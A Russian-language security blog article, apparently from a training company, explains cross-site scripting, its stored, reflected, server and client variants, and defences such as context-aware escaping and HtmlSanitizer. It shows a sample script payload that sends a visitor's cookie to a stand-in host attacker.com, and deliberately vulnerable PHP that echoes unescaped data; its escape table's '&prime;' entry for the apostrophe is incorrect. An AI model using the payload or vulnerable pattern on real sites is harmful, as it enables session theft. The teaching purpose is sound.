Рассказываем про уязвимость в софте, которую чаще всего используют мошенники, если хотят взломать компанию. Обычно хакеры предпочитают фишинг — это проще и дешевле. Но если сотрудники соблюдают правила безопасности и не хранят пароли в заметках — задача усложняется.

XSS-атака: что такое межсайтовый скриптинг и как защититься от таких уязвимостей

5 декабря 2024
16 минут
эксперт информационной безопасности в Start X
Андрей Жаркевич
автор, дипломированный айтишник, люблю объяснять сложное простыми словами
Никита Барышников
автор, дипломиро­ванный айтишник, люблю объяснять сложное простыми словами
Никита Барышников
эксперт информационной безопасности в Start X
Андрей Жаркевич
Обучение навыкам безопасного поведения
XSS-атаки (Cross-Site Scripting) — это взлом через уязвимость веб-сайта. Мошенники используют уязвимость, чтобы внедрить вредоносный скрипт в код и украсть данные пользователей или захватить ресурс.
Сейчас подробно и с примерами покажем, по каким сценариям проходят XSS-атаки и что нужно проверить в коде перед публикацией данных пользователей или компании на сайте.

Что такое XSS-атака

При работе приложения выводят данные на веб-страницы. Если делать это небезопасно, злоумышленники могут провести разные виды атак, чтобы похитить данные или выполнить вредоносные действия. Одна из частых и опасных атак — межсайтовый скриптинг, или XSS-атака.
XSS (Cross-Site Scripting) — это уязвимость в веб-приложении, с ее помощью злоумышленник запускает вредоносный скрипт на странице, которую просматривает пользователь. Обычно скрипт выполняется в браузере жертвы.

Примеры XSS-атак

Кража данных пользователя. Обычно сайты, форумы и приложения отличают авторизованного посетителя от неавторизованного с помощью специальной cookie. Прочитав такую cookie, вредоносный скрипт передает ее на удаленный сервер злоумышленника. В результате хакер похищает имена, пароли, личную переписку, данные банковских карт.

Доступ к управлению сайтом. Злоумышленник получает права администратора сайта или веб-приложения. Таким способом он может получить данные любого пользователя, взломать корпоративную базу данных, испортить функциональность сайта и разместить на ресурсе посторонний контент.
Пример. Злоумышленник получает доступ к описанию лекарства на сайте фармацевтической компании и изменяет информацию о дозировке. Результат — массовая интоксикация пациентов, которые принимали лекарство по этой инструкции.
Скачайте карту знаний и навыков по безопасной разработке
В ней — 13 уязвимостей и технологий, которые нужно знать разработчику, чтобы писать безопасный код

Как работает XSS-инъекция и межсайтовый скриптинг

В браузерах есть встроенные интерпретаторы различных языков: HTML, XML, CSS, JavaScript. Они получают от веб-сервера страницу и разбирают ее по структурным блокам. Движок браузера интерпретирует каждый блок, чтобы показать пользователю содержимое страницы или выполнить код.

Блоки для интерпретации выделяются с помощью тегов HTML-разметки — специальных ключевых слов в угловых скобках. Например, JS-код размещают между тегами <script>, CSS-стили — между тегами <style> и так далее.

Есть много вариантов XSS-уязвимостей, но источник проблем в большинстве случаев один — небезопасный вывод данных.

Если разработчик выводит на страницу данные из внешних источников небезопасным образом, злоумышленник использует особенности работы браузера, чтобы выполнить вредоносный код.
Пример. Мы создали сайт, на котором пользователи размещают объявления. Для каждого пользователя создается профиль, в котором он указывает свое имя, пароль и другие данные. Эта информация отображается при просмотре профиля.
Предположим, пользователь указал свое имя и мы получили такой текст:
Андрей<script>document.location='<https://attacker.com/?cookie='+encodeURIComponent(document.cookie)></script>
Если приложение сохраняет текст в базе данных в таком виде, а затем без обработки выводит его на странице, каждый, кто просмотрит профиль этого пользователя, отправит атакующему свои cookie.

Пример кода на языке PHP, который выведет текст из базы данных без обработки. Если исполнить его в таком виде, то мы создадим уязвимость на странице:
<?php

try {
    $db = new SQLite3(__DIR__.'/db.sqlite');
    
    $result = $db->query("SELECT * FROM Users WHERE id = '231444'")
        ->fetchArray(SQLITE3_ASSOC);

    if ($result) {
        $id = $result['id'];
        $name = $result['name'];
        $htmlp= "<html>... <h3>Пользователь: $name - $id </h3>...</html>";
        echo $htmlp;
    }
  else {
        echo "No user found with the specified ID";
    }
}
catch (Exception $e) {
    echo "Error occurred";
}
Код выше читает текст из базы данных без проверки на недопустимые символы, которые могут создать уязвимость. В результате к пользователю попадает такая страница:
<!DOCTYPE html>
<html lang="ru">
   <head>...</head>
<body>
   ...
   <h3>Пользователь: Андрей<script>document.location='<https://attacker.com/?cookie='+encodeURIComponent(document.cookie)></script></h3>
   ...
</body>
</html>
Проблема в том, что в имени пользователя содержится JavaScript-код. Браузер исполняет его и отправляет злоумышленнику cookie пользователя.

Телеграм-канал Start X

Подписаться
Наши разборы мошеннических схем поймет даже бабушка

Виды XSS-атак

Есть четыре вида XSS-атак. Их разделяют по двум классификациям:

  • Состояние вредоносного кода.
  • Место обработки данных.
Место использования недоверенных данных
Первый вид классификации — XSS-атаки, которые разделяют по состоянию вредоносного кода. Вредоносный код сохраняется на сайте и работает постоянно или срабатывает только в том случае, когда его добавляют к URL.

В зависимости от этого XSS-атаки разделяют на два типа:

Хранимые XSS-атаки. Возникают, когда злоумышленнику удается сохранить вредоносный код на сервере. Скрипт активируется при заходе на зараженную страницу.
Пример. Хранимые XSS-уязвимости находят на форумах, в соцсетях, имиджбордах и блогах. Чтобы внедрить уязвимость на ресурс, хакеры используют текстовые поля, рисунки, гифки и другой контент.
Отраженные XSS-атаки. Самый распространенный тип XSS-атак. Главное отличие от хранимых XSS — вредоносный код хранится не на сервере, а срабатывает в ответ на запрос, который передали на сервер, то есть «отражается» от сервера.
Пример. Злоумышленник вставляет в ссылку вредоносный код, затем передает ее жертвам как часть электронного письма. Когда пользователь переходит по зараженной ссылке, сервер забирает внедренный в параметры запроса вредоносный скрипт и вставляет в страницу результат без обработки.
Второй вид классификации — XSS-атаки, которые зависят от места обработки данных. Такие атаки разделяют на два вида — серверные XSS и клиентские XSS.

Серверные XSS-атаки. Данные из ненадежного источника включаются в HTTP-ответ сервера. Источник данных — запрос к базе или сохраненная на сервере информация. В результате получается отраженный серверный XSS или хранимый серверный XSS. В этом случае уязвимость целиком находится в коде на стороне сервера, а браузер просто отображает ответ и выполняет любой правильный сценарий.

Клиентские XSS-атаки. Ненадежные данные используют для обновления DOM с помощью небезопасного вызова JS (например, когда применяют innerHTML). Вызов JavaScript считается небезопасным, если он позволяет внедрить в DOM код. Источником данных при этом может быть запрос к сайту или сохраненная на сервере информация. Клиентские XSS-атаки также разделяются на хранимые и отраженные.

Как защититься от XSS-атак

Чтобы не пропустить попытку атаки через XSS и выстроить защиту, разработчикам нужно кодировать или экранировать служебные символы всех языков, которые можно исполнить в браузере.

Способ обработки служебных символов зависит от контекста — места в HTML-разметке, куда записываются данные. Существуют опасные контексты, в которых невозможно обеспечить стопроцентную защиту от специализированных атак.

Чтобы защита веб-приложения сработала, важно не выводить данные в опасных контекстах.

К таким контекстам относятся:
  • Скрипт на странице, текст внутри HTML-комментария, имя HTML-тега и его атрибута, блок CSS-правил.
  • JavaScript-функция eval, setTimeout, setInterval, execScript.
Если все-таки нужно вывести данные в опасном контексте, соблюдайте такие правила:

  • Кодируйте спецсимволы, когда выводите содержимое в HTML- или XML-тег. Например, заменяйте:
&
<
>
"
'
→ &amp;
→ &lt;
→ &gt;
→ &quot;
→ &prime;
При этом есть опасные контексты, в которых обеспечить стопроцентную защиту от специализированных атак нельзя.

  • Заключайте в двойные кавычки значения атрибутов HTML-тегов и кодируйте внешние данные. Правило относится к HTML-атрибутам: width, name, value и подобным.
  • Перед выводом внешних данных в JavaScript-код заменяйте все символы с кодом меньше 256, которые не являются буквами или цифрами, на их 16-ричное представление.
  • Преобразуйте внешние данные в 16-ричное представление перед тем, как поместить их в значения свойств CSS-директив.
  • Кодируйте данные при выводе в значения URL-параметров в соответствующих HTML-атрибутах. Все атрибуты с URL заключайте в кавычки. Данные в параметрах URL тоже нужно кодировать.
  • Обезвреживайте внешние данные с HTML-разметкой с помощью специальных библиотек, например, HtmlSanitizer. HTML в ней очищают с помощью белого списка. Все разрешенные теги и атрибуты настраиваются.

Главное про XSS-атаки

  1. XSS-атака — это уязвимость в веб-приложении или на сайте, с помощью которой запускают вредоносный скрипт. Обычно скрипт выполняется в браузере жертвы.
  2. Цель XSS-атак — кража данных пользователя и доступ к управлению сайтом.
  3. Главный источник рисков — небезопасный вывод данных. Если данные, которые попадают на страницу, исполняются как код, злоумышленник может воспользоваться этим для атаки.
  4. Чтобы защититься от XSS-атак, нужно кодировать и экранировать служебные символы всех языков, которые исполняются в браузере. При этом обязательно нужно учитывать контекст вывода данных.
  5. Используйте специальные библиотеки, чтобы «обезвредить» внешние данные с HTML-разметкой. Пример такой библиотеки — HtmlSanitizer.
На платформе Start EDU подробно объясняем, как эксплуатируют уязвимости и как защитить от них код, а еще даем практические задания на поиск уязвимостей в приложениях. Запишитесь на бесплатное демо и наш эксперт расскажет, как Start EDU помогает продуктовым командам предотвращать уязвимости и сразу писать безопасный код.
Мужчина в кресле с ноутбуком

Подпишитесь на дайджест Start X

Еженедельная подборка материалов и аналитики про цифровые атаки на людей, технологии защиты, безопасность инфраструктуры и приложений
Нажимая кнопку «Отправить заявку» вы соглашаетесь с политикой обработки персональных данных.